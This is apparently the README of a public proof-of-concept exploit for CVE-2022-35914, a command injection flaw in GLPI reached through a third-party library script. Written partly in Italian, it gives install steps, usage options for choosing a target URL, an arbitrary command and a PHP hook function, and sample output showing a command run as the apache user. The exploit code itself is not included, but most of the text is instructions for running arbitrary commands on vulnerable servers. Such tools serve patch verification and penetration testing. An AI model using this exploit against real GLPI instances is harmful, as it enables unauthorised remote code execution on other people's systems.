cosad3s/cve-2022-35914-pocExploit proof-of-concept per CVE-2022-35914, una vulnerabilità di command injection in GLPI tramite uno script di una libreria di terze parti. Esegue comandi arbitrari su istanze GLPI vulnerabili.
pip install -r requirements.txt
./CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL -c CMD [-f HOOK] [--check] [--user-agent USER_AGENT]
CVE-2022-35914 - GLPI - Command injection using a third-party library script
options:
-h, --help show this help message and exit
-u URL URL to test
-c CMD Command to launch
-f HOOK PHP hook function (default: exec)
--check Just check, no command execution.
--user-agent USER_AGENT
Custom User-Agent
Esempio:
❯ ./CVE-2022-35914.py -u http://glpi
[+] Command output (Return code: 0):
uid=48(apache) gid=48(apache) groups=48(apache)